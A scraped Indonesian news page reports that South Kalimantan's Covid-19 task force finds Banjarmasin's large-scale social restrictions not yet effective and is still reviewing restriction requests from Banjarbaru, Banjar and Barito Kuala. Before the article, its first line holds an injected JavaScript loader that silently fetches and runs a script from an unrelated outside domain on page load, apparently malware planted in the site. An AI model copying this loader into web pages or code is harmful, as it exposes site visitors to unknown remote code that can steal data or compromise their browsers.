(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pelaksanaan Pembatasan Sosial Berskala Besar (PSBB) di Kota Banjarmasin sudah berjalan selama sepekan lebih. Namun, diakui oleh Tim Gugus Tugas Percepatan Penanganan (P2) Covid-19 Kalimantan Selatan masih belum optimal.
“Masih ada kelompok masyarakat kita yang belum disiplin terkait dengan jaga jarak atau masih tidak menghindari kerumunan,” ucap Juru Bicara Tim Gugus Tugas P2 Covid-19 Kalsel Muhammad Muslim di Banjarbaru, Minggu (3/5/2020) sore.
Tak hanya itu, pos-pos penjagaan terutama di perbatasan juga dinilai Tim Gugus Tugas P2 Kalsel masih belum efektif. “Oleh karena itu, ini menjadi bahan untuk kita tingkatkan agar pelaksanaan PSBB dalam upaya memutus mata rantai penularan bisa dilaksanakan secara efektif,” jelas Muslim.
Lalu, bagaimana usulan untuk pelaksanaan PSBB di tiga kabupaten dan kota di sekitar Kota Banjarmasin? Menurut Kepala Dinas Kesehatan Provinsi Kalsel ini, pengajuan PSBB untuk tiga wilayah in, masih dalam upaya evaluasi yang dilakukan oleh Tim Gugus Tugas P2 Kalsel.
“Baik berupa dokumen-dokumen yang kita minta agar diperbaiki secara optimal,” katanya.
Menurut Muslim paling penting adalah, terkait dengan kesiapan daerah untuk menyiapkan segala sesuatu, terutama ketersediaan bahan pokok atau kebutuhan dasar.
Tak hanya itu, juga sistem jaring pengaman sosial yang harus benar-benar diperhatikan. “Karena ini merupakan poin yang penting terhadap masyarakat yang terdampak pelaksanaan PSBB ini,” ungkapnya.
Terakhir, yang menjadi catatan penting bagi Tim Gugus Tugas P2 Kalsel adalah sistem pengamanan dalam upaya saat PSBB diterapkan. Hal-hal inilah yang menurut Muslim masih didalami terkait evaluasi dan verifikasi.
“Tentu saja akan dilanjutkan dengan diskusi dan pemantapan pada tiga daerah yang menyampaikan usulan tadi. Mudah-mudahan dalam waktu dekat ini, semua komponen itu sudah lengkap dan siap, sehingga kita percaya diri dapat menyampaikan usulan kepada Pemerintah Pusat,” pungkas Muslim.
Seperti diketahui, tiga kabupaten dan kota yang bertetangga langsung dengan Kota Banjarmasin, yaitu Kota Banjarbaru, Kabupaten Banjar dan Kabupaten Barito Kuala juga mengajukan PSBB. Hal ini dilakukan guna memutus mata rantai penularan Covid-19. (Kanalkalimantan.com/fikri)
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
This website uses cookies.